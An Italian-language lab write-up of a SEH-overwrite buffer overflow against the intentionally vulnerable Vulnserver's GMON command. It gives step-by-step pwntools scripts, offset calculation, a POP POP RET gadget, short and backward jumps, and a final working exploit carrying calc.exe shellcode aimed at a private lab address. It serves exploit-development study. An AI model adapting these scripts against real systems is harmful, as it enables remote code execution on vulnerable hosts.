Nota: La parte di fuzzing non è compresa, la inserirò in futuro.

La vulnerabilità si triggera con un input > 4000 caratteri e il comando GMON /. Attraverso pwntools genero un pattern di 4000 caratteri:

 ~ % python3
Python 3.7.8 (default, Jul  4 2020, 10:17:17) 
[Clang 11.0.3 (clang-1103.0.32.62)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import pwn
>>> pwn.cyclic(4000)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaac[...]'

Di seguito lo script utilizzato per inviare il pattern:

#!/usr/local/bin/python3

import pwn
target = "172.16.145.135"
port = 9999
pattern = pwn.cyclic(4000)                                

conn = pwn.remote(target, port)
conn.recvline()
conn.send(b"GMON /" + pattern)
conn.close()

Vulnserver va in crash e con immunity visualizzo la SEH chain per capire con che cosa è stato sovrascritto SEH.

Visualizza SEH chain

Il SE Handler è stato sovrascritto con 6A626162:

SEH Overwrite

Calcolo dopo quanti caratteri è stato sovrascritto SEH:

 ~ % python3
Python 3.7.8 (default, Jul  4 2020, 10:17:17) 
[Clang 11.0.3 (clang-1103.0.32.62)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import pwn
>>> pwn.cyclic_find(pwn.p32(0x6A626162))
3502

L’offset calcolato è pari a 3502 caratteri. Dopo questo numero di caratteri SEH viene sovrascritto.

Come riprova invierò “BBBB” dopo 3502 caratteri per vedere se SEH è stato sovrascritto on 0x42.

#!/usr/local/bin/python3

import pwn

target = "172.16.145.135"
port = 9999

total = 4000
offset = pwn.cyclic_find(pwn.p32(0x6A626162))    # 3502  
buffer = b"A" * offset + b"BBBB" + b"C" * (total - offset - 4)      

conn = pwn.remote(target, port)
conn.recvline()
conn.send(b"GMON /" + buffer)
conn.close()

Com’è possibile vedere dall’immagine seguente, SEH è stato sovrascritto con BBBB.

SEH BBBB

A questo punto EIP punta a 0x42424242 e vulnserver va in crash. Mentre nSEH si trova a 0xBEFFDC.

Nota: nSEH si trova sempre 4 bytes prima di SEH.

Vediamo se torna quanto detto nella pagina precedente, ovvero che il puntatore a nSEH si trova ad ESP+8:

0xBEEE4C (puntatore a nSEH) – 0xBEEE44 (ESP) = 0x8

nSEH = ESP + 8

nSEH si trova esattamente a ESP+8. Questo significa che utilizzando un gadget POP POP RET è possibile decrementare lo stack in modo che ESP punti a nSEH (POP POP) ed eseguire così quello che è contenuto in nSEH (RET). Infatti secondo la return procedure, l’istruzione RET non fa altro che prendere ciò che sta in ESP e salvarlo in EIP, il registro che contiene sempre l’indirizzo della prossima istruzione che deve essere eseguita.

Reference:

Per trovare il gadget POP POP RET si utilizza il plugin mona di immunity:

!mona seh

All’interno della cartella di immunity verrà creato un file seh.txt con i vari indirizzi che contengono il gadget POP POP RET.

!mona seh output

A questo punto non resta che preparare lo script che sovrascriva SEH con il gadget POP POP RET 0x625011bf.

#!/usr/local/bin/python3

import pwn

target = "172.16.145.135"
port = 9999

total = 4000
offset = pwn.cyclic_find(pwn.p32(0x6A626162))    # 3502  
SEH = pwn.p32(0x625011bf)
buffer = b"A" * offset + SEH + b"C" * (total - offset - 4)      

conn = pwn.remote(target, port)
conn.recvline()
conn.send(b"GMON /" + buffer)
conn.close()
SEH = POP POP RET

Nel riquadro in basso a destra è possibile vedere che SEH contiene il gadget 0x625011bf POP POP RET e il disassembler, nel riquadro in alto a sinistra ci ci da la conferma: POP EBX POP EBX RETN.

Metto un breakpoint su 0x625011bf e continuo l’esecuzione con Shift+F9.

BREAKPOINT

Con step into (F7) mi sposto fino all’istruzione RETN. Si noti come adesso ESP contiene 0xBEEE4C, che punta a 0xBEFFDC il registro di nSEH trovato in precedenza. Eseguendo RETN, il registro a cui punta ESP (0xBEFFDC) verrà salvato in EIP. Verrà quindi eseguita l’istruzione contenuta in nSEH.

nSEH è un registro di 4 bytes quindi è impensabile utilizzarlo per piazzare uno shellcode. Può essere però utilizzato per eseguire un piccolo salto avanti e indietro come indicato nella pagina precedente con l’istruzione JMP SHORT 0x909006EB. In questo caso 6 bytes in avanti (EB 06). 6 bytes perché bisogna saltare oltre SEH che sono 4 bytes più i 2 NOP che andranno a riempire il registro di nSEH. Al momento dell’esecuzione del JMP SHORT, EB si troverà all’indirizzo 0xBEFFDC, 0x06 si troverà in 0xBEFFDD quindi 0xBEFFDE e 0xBEFFDF sono i 2 bytes da aggiungere per posizionarci dove iniziano le C.

Come visibile dall’immagine qui sopra, 6 bytes dopo nSEH sono presenti le C inviate col payload. Anche in questo caso però lo spazio per uno shellcode è poco, occorre quindi fare un salto indietro, dove risiedono le A, e posizionare lo shellcode in un punto della memoria molto più spazioso.

Quello che farò è posizionare il JMP SHORT in nSEH che si trova esattamente 4 bytes prima di SEH e che rimanderà l’esecuzione dove risiedono attualmente le C che sostituirò con le istruzioni per effettuare un salto all’indietro.

Nota: Nella trascrizione degli appunti ho omesso la parte relativa alla ricerca dei badcharacters. Si considera solo 0x00.

L’immagine seguente mostra il punto in cui vorrei posizionare il mio shellcode, esattamente all’indirizzo 0xBEF240, li c’è un sacco di spazio.

indirizzo posizione shellcode

Per fare il salto indietro devo utilizzare un piccolo shellcode che mi permetta di eseguire il salto e che entri nello spazio occupato dalle C:

0:  55                      push   ebp
1:  58                      pop    eax
2:  66 05 dc 03             add    ax,0x3dc
6:  ff e0                   jmp    eax

Questo shellcode non fa altro che pushare nello stack un valore di riferimento da cui partire per fare il salto, in questo caso EBP (poteva essere anche ESP) che poi viene poppato all’interno del registro EAX per salvarlo. A questo punto devo calcolare l’offset tra il registro EBP e il punto in cui voglio effettuare il salto, quindi: 0xBEF240 – 0xBEEE64 = 0x3DC = 988 bytes, perciò ad EAX (AX)* aggiungo l’offset appena trovato, che corrisponderà al registro in cui voglio rimandare l’esecuzione del programma.

Nell’addizione viene usato il registro AX invece di EAX dal momento che l’opcode di ADD EAX, 0x3DC contiene dei null bytes (0x00) che interromperebbero l’esecuzione del programma. AX, come indicato in precedenza, rappresenta i 16-bit più bassi del registro EAX.

2:  05 dc 03 00 00          add    eax,0x3dc # nullbytes here

Di seguito lo script aggiornato e lo screen di immunity alla fine dell’esecuzione dell’exploit con EIP che punta a 0xBEF240, l’indirizzo dove voglio piazzare lo shellcode.

Salto a 0xBEF240
#!/usr/local/bin/python3

import pwn

target = "172.16.145.135"
port = 9999

total = 4000
offset = pwn.cyclic_find(pwn.p32(0x6A626162))    # 3502  
nSEH = pwn.p32(0x909006EB)
SEH = pwn.p32(0x625011bf)
jump = b"\x55\x58\x66\x05\xDC\x03\xFF\xE0"
buffer = b"A" * (offset - 4) + nSEH + SEH + jump + b"C" * (total - offset - 4 - len(jump))      

conn = pwn.remote(target, port)
conn.recvline()
conn.send(b"GMON /" + buffer)
conn.close()

Infile lo script completo di shellcode (calc.exe):

#!/usr/local/bin/python3

import pwn

calc =  b""
calc += b"\x89\xe5\xdb\xd4\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49"
calc += b"\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
calc += b"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
calc += b"\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
calc += b"\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
calc += b"\x4a\x49\x4b\x4c\x5a\x48\x4d\x52\x53\x30\x55\x50\x53"
calc += b"\x30\x55\x30\x4b\x39\x5a\x45\x36\x51\x49\x50\x43\x54"
calc += b"\x4c\x4b\x56\x30\x36\x50\x4c\x4b\x56\x32\x34\x4c\x4c"
calc += b"\x4b\x56\x32\x44\x54\x4c\x4b\x43\x42\x46\x48\x54\x4f"
calc += b"\x38\x37\x50\x4a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x57"
calc += b"\x4c\x43\x51\x33\x4c\x45\x52\x46\x4c\x57\x50\x59\x51"
calc += b"\x48\x4f\x44\x4d\x45\x51\x58\x47\x4d\x32\x5a\x52\x56"
calc += b"\x32\x50\x57\x4c\x4b\x50\x52\x34\x50\x4c\x4b\x50\x4a"
calc += b"\x47\x4c\x4c\x4b\x30\x4c\x32\x31\x44\x38\x4a\x43\x30"
calc += b"\x48\x55\x51\x4e\x31\x50\x51\x4c\x4b\x46\x39\x51\x30"
calc += b"\x55\x51\x58\x53\x4c\x4b\x50\x49\x44\x58\x5a\x43\x37"
calc += b"\x4a\x37\x39\x4c\x4b\x56\x54\x4c\x4b\x45\x51\x48\x56"
calc += b"\x36\x51\x4b\x4f\x4e\x4c\x39\x51\x38\x4f\x44\x4d\x53"
calc += b"\x31\x59\x57\x37\x48\x4d\x30\x44\x35\x4a\x56\x45\x53"
calc += b"\x53\x4d\x4c\x38\x57\x4b\x33\x4d\x57\x54\x44\x35\x4d"
calc += b"\x34\x56\x38\x4c\x4b\x46\x38\x36\x44\x33\x31\x48\x53"
calc += b"\x32\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x51\x48\x55"
calc += b"\x4c\x55\x51\x39\x43\x4c\x4b\x53\x34\x4c\x4b\x45\x51"
calc += b"\x4e\x30\x4b\x39\x30\x44\x56\x44\x31\x34\x31\x4b\x51"
calc += b"\x4b\x53\x51\x56\x39\x51\x4a\x36\x31\x4b\x4f\x4b\x50"
calc += b"\x51\x4f\x31\x4f\x51\x4a\x4c\x4b\x55\x42\x4a\x4b\x4c"
calc += b"\x4d\x31\x4d\x43\x5a\x45\x51\x4c\x4d\x4d\x55\x58\x32"
calc += b"\x55\x50\x45\x50\x43\x30\x36\x30\x43\x58\x56\x51\x4c"
calc += b"\x4b\x52\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4c\x30"
calc += b"\x4e\x55\x4e\x42\x50\x56\x45\x38\x4f\x56\x4c\x55\x4f"
calc += b"\x4d\x4d\x4d\x4b\x4f\x58\x55\x47\x4c\x54\x46\x53\x4c"
calc += b"\x35\x5a\x4b\x30\x4b\x4b\x4d\x30\x53\x45\x45\x55\x4f"
calc += b"\x4b\x50\x47\x42\x33\x42\x52\x52\x4f\x42\x4a\x55\x50"
calc += b"\x51\x43\x4b\x4f\x38\x55\x55\x33\x55\x31\x52\x4c\x55"
calc += b"\x33\x46\x4e\x32\x45\x43\x48\x43\x55\x45\x50\x41\x41"


target = "172.16.145.135"
port = 9999

total = 4000
offset = pwn.cyclic_find(pwn.p32(0x6A626162))    # 3502  
nSEH = pwn.p32(0x909006EB)
SEH = pwn.p32(0x625011bf)
jump = b"\x55\x58\x66\x05\xDC\x03\xFF\xE0"  

buffer = b"\x90" * 14 + calc + b"A" * (offset - 14 - len(calc) - 4) + nSEH + SEH + jump + b"C" * (total - offset - 4 - len(jump) - len(nSEH) - len(SEH))   

conn = pwn.remote(target, port)
conn.recvline()
conn.send(b"GMON /" + buffer)
conn.close()